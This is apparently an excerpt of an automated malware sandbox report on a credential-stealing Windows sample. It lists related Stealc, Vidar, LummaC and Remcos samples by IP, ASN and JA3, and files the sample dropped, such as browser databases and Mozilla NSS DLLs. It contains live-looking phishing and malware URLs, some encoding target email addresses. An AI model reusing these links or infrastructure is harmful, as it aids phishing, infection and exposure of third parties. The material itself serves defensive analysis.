	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	FW Important Exploit Has Been Identified In Your Account Steps to Resolve.msg	Get hash	malicious	Unknown	Browse	52.109.28.46
	nK1cgEhvAP.exe	Get hash	malicious	Unknown	Browse	21.35.197.16
	https://cbsaao27.s3.us-east-1.amazonaws.com/res.html#cGF0cmljay5hbWZ0QG1zaWctZXVyb3BlLmNvbQ==	Get hash	malicious	BlackHacker JS Obfuscator, HTMLPhisher	Browse	13.107.246.45
	https://wmrc.titurimplec.com/HA02SW/	Get hash	malicious	Unknown	Browse	13.107.246.45
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	13.107.246.57
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	23.101.168.44
	http://track.reviewmgr.com/ls/click?upn=u001.W5y-2Fhe84rCuLxXDO470nfuKD2Iz98QeQpE-2BkxRR0H-2BqB5cDKklujIJ5FLru7QrAASOSa17vR-2FSCLVAx4lWyy5Q-3D-3DNnGv_Yp4ydSxZWNatis3HtI6bBrJjg57JYwT6kbyY2f89Z-2FBhxNJZyCBl9w6yXNV0YfiKUAGjaILaAN0mF43Ydvv3aAXjCPBMrYvHXhqj-2F90M8IWSluK-2FDr0h4-2FIbAXpExZIWOjtRSKBCrpvm-2BHKZd6Q2itOPvvv8Wh8uHJq1rbQgzA92MMGG0eeFCZzQMnosAWydLTI7R4yQPl90fJpGVjewvRcCF77tY5-2B3PAHwq6SU-2Fc2kSK8E1mMumIEdp0dsw2BfptVK6-2FXO4Hh-2FAV8-2FJ5YFUs6qp3oyRx3LiWrBnDVYrVE-3D	Get hash	malicious	Unknown	Browse	13.107.137.11
	http://t.nypost.com/1/e/r?aqet=clk&r=2&ca=26510028&v0=aftua%40gmail.com&ru=//www.google.it/url?q=https://www.google.it/url?q=https://www.google.it/url?q=https://www.google.ro/url?q=https://digitalplatform-admin-p.azurewebsites.net/external-link/?targetURL=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%SERIAL%25wDnNeW8yycT&sa=t&esrc=nNeW8F%SERIAL%25A0xys8Em2FL&source=&cd=tS6T8%SERIAL%25Tiw9XH&cad=XpPkDfJX%SERIAL%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%62%79%64%61%2E%6E%67%2F%63%69%67%2E%62%69%6E%2F%67%67%6C%6E%46%78%50%51%30%47%76%38%64%43%45%35%45%43%61%37%66%37%78%63%58%71%32%79%74%4D%57%65%54%6E%31%37%53%74%68%66%4C%56%74%52%44%70%4E%58%36%63%6B%42%66%50%7A%42%38%6B%51%52%36%38%64%67%53%64%31%4C%6C%73%33%71%37%76%6E%79%6E%48%6D%75%41%73%31%2F%23Y2hyaXN0b3BoZXIuZG9sYW5AdmlyZ2lubW9uZXkuY29t	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	https://ddec1-0-en-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fportal.eftsure.com.au%2finvite%2f%7b5943C803%2d027A%2d43C9%2dBBBB%2dDE0322D1F961%7d&umid=92db6cfc-6cf7-46fe-8f32-20799b471c27&auth=3a5566c60b1f4d8525fa8ab109f94675a663eb25-8cbc03c09e9a72f57497c9be7e9f6ecc1a7de37e	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	file.exe	Get hash	malicious	LummaC	Browse	104.21.0.123
	SUNNY (1).exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	https://scostcos-1-vip1.us/email/click?utm_source=event_newsletter&utm_medium=carts_recovery_2&utm_mode=skip_if_exists&task_id=145097477&task_auth=49a022af3bc7aaaaa7b344ab28395ccf&id=145097477&ignore_redirect=1&key=b6ae7b2717456f9aac6514a23342dcc0&url=aHR0cHM6Ly9zY29zdGNvcy0xLXZpcDEudXMvMTAwNTc2LTJhNTg5Zi9jaGVja291dHMvMmE1ODlmNTU1YTViM2JkZTQyZWYzNjA4YWFiZTE1YzY_dXRtX3NvdXJjZT1ldmVudF9uZXdzbGV0dGVyJnV0bV9tZWRpdW09Y2FydHNfcmVjb3ZlcnlfMiZ1dG1fbW9kZT1za2lwX2lmX2V4aXN0cyZ0YXNrX2lkPTE0NTA5NzQ3NyZ0YXNrX2F1dGg9NDlhMDIyYWYzYmM3YWFhYWE3YjM0NGFiMjgzOTVjY2Y	Get hash	malicious	Unknown	Browse	188.114.96.3
	FW Important Exploit Has Been Identified In Your Account Steps to Resolve.msg	Get hash	malicious	Unknown	Browse	104.17.25.14
	nK1cgEhvAP.exe	Get hash	malicious	Unknown	Browse	172.68.172.139
	SFL OP990M3 PO.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	SrET983RRM.htm	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://airtable.com/appneJ7gooVVxmNWR/shrmIP3zkga52FQr0	Get hash	malicious	Unknown	Browse	104.18.32.137
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
AKAMAI-ASN1EU	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	23.221.22.207
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.198.7.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.221.22.213
	https://geaggda.r.af.d.sendibt2.com/tr/cl/G6qLHi_vqRpNEshmo4Rb0Zi9wTI57XqpRBN9j8dsPzzZwRPQslplmE2NZOV7I4ZyAW8Debk1WJB4vkNN2b2Ymh_xzh3GM7ikV7zFXqNBPGLT_3-ggJ1kozgt2qpczQVJPoanMp2q8VT-Vfp9XDwlA87cx4lPh-ekGo3OmOH1GVhSoreRLRYcOy9-QIzMTEB73P_5lDdW91eGd493vzrT7eGGNz_RQDN5h33uL34k84Zf-XFIybIb1ttQkKbxN5hvQd_5dlX_y4d0yT_KM2VzPr3A0fcsmlHZu3_JktQ8T932jDkv1PITN5Lgv1rTUwsHy3-BpdBMpPjZn3kWrt6TUwpuIJwGTU-yHnFelsoNQCHzwfnGZP4YdL92LyxYOt8PNTGCg27gEMxuIa0RBwD9j9pVGZtxKbGjc3Wo2UqALFneGqf_QC3sGHFr_7zyM0y4CuE2Onwf1-lzIFO6utDvVOq2umljYXy_lJZV4bSKfZeWpWNQ09UKU9JwcRjyD8ICoL-6FiKlYs8puAlM5G8Sk4AqjR-IPw41iIHOdzVbSiJs3a5cnBHhyeO7jx42M7S8htsYpmaO2bMVea40frXVlQ3e3kg	Get hash	malicious	HTMLPhisher	Browse	23.15.178.88
	specifications and technical requirements.pdf	Get hash	malicious	HTMLPhisher	Browse	2.16.164.19
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.221.22.200
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	23.198.7.177
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.198.7.177
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.198.7.178
	https://recordatoriosycobroscpxmsa.com/?BSVUKWY9726@YIUVUGSE-928329/hok/WMEJGG0D776/WMEJGG0D/073/zyg/WMEJGG0D/073/zyg	Get hash	malicious	HTMLPhisher	Browse	172.233.20.181

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	https://scostcos-1-vip1.us/email/click?utm_source=event_newsletter&utm_medium=carts_recovery_2&utm_mode=skip_if_exists&task_id=145097477&task_auth=49a022af3bc7aaaaa7b344ab28395ccf&id=145097477&ignore_redirect=1&key=b6ae7b2717456f9aac6514a23342dcc0&url=aHR0cHM6Ly9zY29zdGNvcy0xLXZpcDEudXMvMTAwNTc2LTJhNTg5Zi9jaGVja291dHMvMmE1ODlmNTU1YTViM2JkZTQyZWYzNjA4YWFiZTE1YzY_dXRtX3NvdXJjZT1ldmVudF9uZXdzbGV0dGVyJnV0bV9tZWRpdW09Y2FydHNfcmVjb3ZlcnlfMiZ1dG1fbW9kZT1za2lwX2lmX2V4aXN0cyZ0YXNrX2lkPTE0NTA5NzQ3NyZ0YXNrX2F1dGg9NDlhMDIyYWYzYmM3YWFhYWE3YjM0NGFiMjgzOTVjY2Y	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	mimic.exe	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	https://airtable.com/appneJ7gooVVxmNWR/shrmIP3zkga52FQr0	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	http://junocis.com	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	LOBBY.html	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	https://www.google.co.th/url?q=sf_rand_string_uppercase(33)uQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%C2%A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp%2F%69%75%2E%6B%75%77%75%31%2E%73%61%2E%63%6F%6D%2F%67%6F%67%65%74%2F%74%65%65%64%2F%67%65%68%2Fsf_rand_string_mixed(24)/toto@yahoo.fr	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	Document-v09-42-38.js	Get hash	malicious	BruteRatel	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	doc_Capelleaandenijssel_102531613710.html	Get hash	malicious	Phisher	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
	https://wmrc.titurimplec.com/HA02SW/	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 40.126.32.136 13.107.246.44
37f463bf4616ecd445d4a1937da06e19	cZ3Ju8l4ia.dll	Get hash	malicious	CobaltStrike	Browse	212.87.244.196
	cZ3Ju8l4ia.dll	Get hash	malicious	CobaltStrike	Browse	212.87.244.196
	RFQ for WIKA_pdf.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	212.87.244.196
	setup7.0.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	212.87.244.196
	IMG635673567357735773573757875883587935775753Bjlkeloftet.exe	Get hash	malicious	Remcos, GuLoader	Browse	212.87.244.196
	fefbBqMKcU.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	212.87.244.196
	yh5At5T1Zs.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	212.87.244.196
	#U017diados#U0165 o cenov#U00fa ponuku_11-12-2024#U00b7pdf.vbs	Get hash	malicious	GuLoader	Browse	212.87.244.196
	Solicitud de presupuesto 12-11-2024#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	212.87.244.196
	Document BT24#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	212.87.244.196

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\CGIJJKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.265488541132507
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMLSAELyKOMq+8HKkjucswRv8p3nVuma:K0q+n0JL9ELyKOMq+8HKkjuczRv89G
MD5:	471B7A2292FF480B84164A6AC61C5B40
SHA1:	EBD3C68113808CEF26F81AAC47C2398FA49048A9
SHA-256:	A3783EAE2F666EAC9951FB836EC3F9C5EE23B747C1F389E3720178352B43487A
SHA-512:	3B7200233444FDB826482C95F8B38356D9B071814489FFA2B49F82440A17DA112302C9949821FC1E4A5F768402C763E6F7CB2AB3EA61E2D34F42F7E78D8D1759
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GCGDGHCBGDHJJKECAECB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
SSDEEP:	192:lLnSRkPYbBp6tqUCaXr6V6kHNBw8D3nSl:NeqqUWpPwK0
MD5:	7E44458E0A8A3A7D10875BC3B7AE72D1
SHA1:	E5E6AC8676EE3761DAB13A10EB7573C19F48D297
SHA-256:	21A04E176A9CEBDA60AE6FD82A7495C6E0867ED02B8009A44DDC9863E14D8753
SHA-512:	012ED6CDC0802AA1063EFE841549341CC86EB626A26FC4BDC509598D8E33093296510344A2CC4419B007F6191F3445DA8F0AAE3B1626E54C1EF66DDDF3FA59B1
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\HIDHDAAEHIEHIECBKJDGDBFBGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIJDAAAAAAKECBFBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECFHDBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJDHIDBFBFHIJKFHCGIEGIDAEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFBFCAFCBKFIEBFHIDB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
